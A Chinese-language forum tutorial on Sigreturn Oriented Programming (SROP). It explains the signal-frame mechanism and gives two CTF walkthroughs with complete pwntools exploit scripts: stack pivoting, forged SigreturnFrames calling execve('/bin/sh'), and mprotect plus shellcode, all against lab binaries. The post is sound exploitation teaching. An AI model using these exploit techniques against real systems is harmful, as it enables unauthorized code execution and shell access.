https://bbs.ichunqiu.com/thread-44068-1-1.html
0x00 SROP应用场景与原理
SROP是一个于2014年被发表在信安顶会Okaland 2014上的文章提出的一种攻击方式,相信很多读者对这个方式的了解都源于freebuf上的这篇文章'http://www.freebuf.com/articles/network/87447.html'。
正如这篇文章所说,传统的ROP技术,尤其是amd64上的ROP,需要寻找大量的gadgets以对寄存器进行赋值,执行特定操作,如果没有合适的gadgets就需要进行各种奇怪的组装。这一过程阻碍了ROP技术的使用。而SROP技术的提出大大简化了ROP攻击的流程。
正如文章所述,SROP(Sigreturn Oriented Programming)技术利用了类Unix系统中的Signal机制,如图
上方为用户层,下方为内核层。对于Linux来说
- 当一个用户层进程发起signal时,控制权切到内核层
- 内核保存进程的上下文(对我们来说重要的就是寄存器状态)到用户的栈上,然后再把rt_sigreturn地址压栈,跳到用户层执行Signal Handler,即调用rt_sigreturn
- rt_sigreturn执行完,跳到内核层
- 内核恢复②中保存的进程上下文,控制权交给用户层进程
有趣的是,这个过程存在着两个问题
- rt_sigreturn在用户层调用,地址保存在栈上,执行后出栈
- 上下文也保存在栈上,比rt_sigreturn先进栈,且内核恢复上下文时不校验
因此,我们完全可以自己在栈上放好上下文,然后自己调用re_sigreturn,跳过步骤1、2。此时,我们将通过步骤3、4让内核把我们伪造的上下文恢复到用户进程中,也就是说我们可以重置所有寄存器的值,一次到位地做到控制通用寄存器,rip和完成栈劫持。这里的上下文我们称之为Sigreturn Frame。文章中同样给出了Sigreturn Frame的结构。
当然,我们在做SROP的时候可以直接调用pwntools的SigreturnFrame来快速生成这个SROP帧,如这篇文档所示
http://docs.pwntools.com/en/stable/rop/srop.html
具体的例子我们会在例题中介绍。需要注意的是,pwntools中的SigreturnFrame中并不需要填写rt_sigreturn的地址,我们只需要确保执行rt_sigreturn的时候栈顶是SigreturnFrame就行。因此我们可以通过syscall指令调用rt_sigreturn而不必特意去寻找这个调用的完整实现。此外,根据文档和源码实现,由于32位分为原生的i386(32位系统)和i386 on amd64(64位系统添加32位应用程序支持)两种情况,这两种情况的段寄存器设置有所不同
所以设置也不相同。
对于原生的i386来说,其SignalFrame的设置为
context.arch = ‘i386’
SROPFrame = SigreturnFrame(kernel = ‘i386’)
对于amd64上运行的32位程序来说,其SignalFrame的设置为
context.arch=’i386’
SROPFrame = SigreturnFrame(kernel = ‘amd64’)
0x01 SROP实例1
上一节我们从freebuf的文章中着重抽出了SROP的原理进行介绍,并介绍了使用pwntools进行SROP的一些注意事项,接下来我们通过两个例子来学习一下SROP实战。
首先我们打开例子~/pwnable.kr-unexploitable/unexploitable。
和之前的例子比起来,这个程序可以说是极其简洁了。栈溢出,got表中没有system,也没有write,puts之类的输出函数,没办法泄露libc,使用ROPgadget也搜不到syscall。那么这个题目就无解了吗?其实不然,ROPgadget似乎存在一个缺陷,无法把单独的syscall识别成一个gadget。因此我们需要安装另一个gadget搜寻工具ropper[https://github.com/sashs/Ropper]
,通过ropper搜索到了一个syscall
但是存在另一个问题,我们找不到给rsi,rdi等寄存器赋值的gadget。这就意味着我们也没办法直接通过ROP实现getshell。我们注意到read读取的长度是0x50f,而栈溢出只需要16字节就能够到rip。可以溢出的长度远大于SigreturnFrame的长度,所以我们可以尝试使用SROP getshell
在写脚本之前,我们先确定一下getshell 的方案,这里我们选择直接调用sys_execve执行execve(‘/bin/sh’, 0, 0)。这个方案要求我们读取字符串到一个固定的地址”/bin/sh\x00”。由于syscall实际上是拆分了mov edx, 50Fh这条指令,执行完syscall之后是两个\x00
无法被解释成合法的指令,所以我们没办法用SROP调用read。我们考虑用程序中原有的read读取”/bin/sh\x00”。
由于我们找不到给rsi传值的gadget,我们考虑通过修改rbp来修改rax, 进而修改rsi。我们先劫持一下rbp
syscall_addr = 0x400560
set_read_addr = 0x40055b
read_addr = 0x400571
fake_stack_addr = 0x60116c
fake_ebp_addr = 0x60116c
binsh_addr = 0x60115c
io = remote(‘172.17.0.3’, 10001)
payload = “”
payload += ‘a’*16 #padding
payload += p64(fake_stack_addr) #两次leave造成的stack pivot,第一次使rbp变为0x60116c, rbp+buf为0x60115c
payload += p64(set_read_addr) #lea rax, [rbp+buf]; mov edx, 50Fh; mov rsi, rax; mov edi, 0; mov eax, 0; call _read
io.send(payload)
执行完第二次read之后,我们测试用的数据1234被读取到了固定地址0x60115c处,然而由于call _read
后的leave,栈也被劫持到了0x601174
.此时rip又指向了retn,所以我们把测试数据替换成ROP链就可以继续进行操作。这里我们可以顺势把”/bin/sh\x00”放在0x60115c,然后接上一些填充字符串,在0x601174接rt_sigreturn,后面接SigreturnFrame
,就完成SROP了。但是问题是我们只有syscall,怎么设置rax=0xf从而调用rt_sigreturn呢?
我们知道read的返回值是其成功读取的字符数,而i386/amd64的返回值一般保存在eax/rax中。因此,我们可以先再次调用read读取15个字符,然后执行到retn时调用syscall。因此构造payload如下
frameExecve = SigreturnFrame() #设置SROP Frame
frameExecve.rax = constants.SYS_execve
frameExecve.rdi = binsh_addr
frameExecve.rsi = 0
frameExecve.rdx = 0
frameExecve.rip = syscall_addr
payload = “”
payload += “/bin/sh\x00” #\bin\sh,在0x60115c
payload += ‘a’*8 #padding
payload += p64(fake_stack_addr+0x10) #在0x60116c,leave指令之后rsp指向此处+8,+0x18之后指向syscall所在栈地址
payload += p64(read_addr) #在0x601174,rsi, rdi, rdx不变,调用read,用下面的set rax输入15个字符设置rax = 15
payload += p64(fake_ebp_addr) #call read下一行是leave, rsp再次被换成fake_stack_addr+0x10+8, 即0x60117c+8。随便设置了一个可读写地址
payload += p64(syscall_addr) #在0x60117c+8,即0x601184,调用syscall。上一步的call read读取了15个字符,所以rax=0xf,这个syscall将会触发sys_sigreturn,触发SROP
payload += str(frameExecve) #SigreturnFrame
虽然0x601174-0x60115c=0x18
, “/bin/sh\x00”
占据8个字符,但是padding却不是’a’*0x10
而是’a’*8
.这是因为再次执行read还是会碰到leave指令,因此这里栈上的rbp需要精心计算。
第三次read的时候(第一次劫持了RBP并调用第二次,第二次读”/bin/sh\x00”和SigreturnFrame到bss上新的栈帧并调用第三次)是直接调用了call _read
这行指令,rsi,rdi,rdx都不变,所以任何输入的数据都会覆盖掉payload最开始的15个字符。为了防止”/bin/sh\x00”被改掉,我们再次输入payload的前15个字符,改相当于没改。io.send('/bin/sh\x00' + ('a')*7) #读取15个字符到0x60115c
,目的是利用read返回值为读取的字节数的特性设置rax=0xf,注意不要使/bin/sh\x00字符串发生改变
这时候如果是pwntools+IDA调试,retn之后将会跳到syscall。此时第一次syscall时rax是0xf,再按一次F8就会发现RAX和其他寄存器的值都换成了SigreturnFrame中预设的值。这就是SROP攻击成功了。此时直接F9,就可以使用io.interactive()
开shell了。
0x02 SROP实例2
上一节中我们学习了如何使用SROP完成一次攻击。这一节我们将通过另一个例子继续巩固SROP技巧,并通过另一种方法完成攻击。我们打开例子~/360ichunqiu 2017-smallest/smallest。这同样是个非常简单的程序
这个程序同样可以用SROP执行execve(‘/bin/sh\x00’,0,0)(我们把它作为练习)
,但是这次我们来试一下通过mprotect修改内存页属性+shellcode进行getshell。
首先,我们我们得为shellcode寻找一片地址。由于这个程序没有BSS段
我们只能选择先用mprotect修改一片不可写内存为可写或者直接写在栈上。前一种方案势必要使用SROP,从而造成栈劫持,而新栈上的数据无法控制,会导致程序retn后崩溃。因此我们只能选择写shellcode在栈上。这就需要我们泄露栈地址。我们可以先用sys_read读取1个字节长度,设置rax=1,然后调用sys_write泄露数据。程序设置buf的指令是mov rsp, rsi,所以直接返回到这行指令上就可以泄露rsp地址。
syscall_addr = 0x4000be
start_addr = 0x4000b0
set_rsi_rdi_addr = 0x4000b8
shellcode = asm(shellcraft.amd64.linux.sh())
io = remote(‘172.17.0.3’, 10001)
payload = “”
payload += p64(start_addr) #返回到start重新执行一遍sys_read,利用返回值设置rax = 1,调用sys_write
payload += p64(set_rsi_rdi_addr) #mov rsi, rsp; mov rdi, rax; syscall; retn,此时相当于执行sys_write(1, rsp, size)
payload += p64(start_addr) #泄露栈地址之后返回到start,执行下一步操作
io.send(payload)
sleep(3)
io.send(payload[8:8+1]) #利用sys_read读取一个字符,设置rax = 1
stack_addr = u64(io.recv()[8:16]) + 0x100 #从泄露的数据中抽取栈地址
log.info(‘stack addr = %#x’ %(stack_addr))
泄露出栈地址之后我们就可以开始把栈劫持到泄露出来的栈地址处了。由于在上一步泄露栈地址时,我们设置了泄露后返回到start处,因此接下来程序应该继续执行一次read.我们利用这次read使用SROP执行sys_read,在读取接下来payload的同时完成栈劫持。
frame_read = SigreturnFrame() #设置read的SROP帧
frame_read.rax = constants.SYS_read
frame_read.rdi = 0
frame_read.rsi = stack_addr
frame_read.rdx = 0x300
frame_read.rsp = stack_addr #这个stack_addr地址中的内容就是start地址,SROP执行完后ret跳转到start
frame_read.rip = syscall_addr
payload = “”
payload += p64(start_addr) #返回到start重新执行一遍sys_read,利用返回值设置rax = 0xf,调用sys_sigreturn
payload += p64(syscall_addr) #ret到syscall,下接SROP帧,触发SROP
payload += str(frame_read)
io.send(payload)
sleep(3)
io.send(payload[8:8+15]) #利用sys_read读取一个字符,设置rax = 0xf,注意不要让payload内容被修改
sleep(3)
由于syscall的下一条指令是retn,所以通过合理设置rsp我们让SROP执行sys_read完成后又返回到start,再次使用SROP执行sys_mprotect,修改shellcode所在的栈页面为RWX
frame_mprotect = SigreturnFrame() #设置mprotect的SROP帧,用mprotect修改栈内存为RWX
frame_mprotect.rax = constants.SYS_mprotect
frame_mprotect.rdi = stack_addr & 0xFFFFFFFFFFFFF000
frame_mprotect.rsi = 0x1000
frame_mprotect.rdx = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC
frame_mprotect.rsp = stack_addr
frame_mprotect.rip = syscall_addr
payload = “”
payload += p64(start_addr)
payload += p64(syscall_addr)
payload += str(frame_mprotect)
io.send(payload)
sleep(3)
io.send(payload[8:8+15])
sleep(3)
再次返回到start,使用ROP链跳转到shellcode所在地址,同时输入shellcode
payload = “”
payload += p64(stack_addr+0x10) #ret到stack_addr+0x10,即shellcode所在地址
payload += asm(shellcraft.amd64.linux.sh())
io.send(payload)
sleep(3)
io.interactive()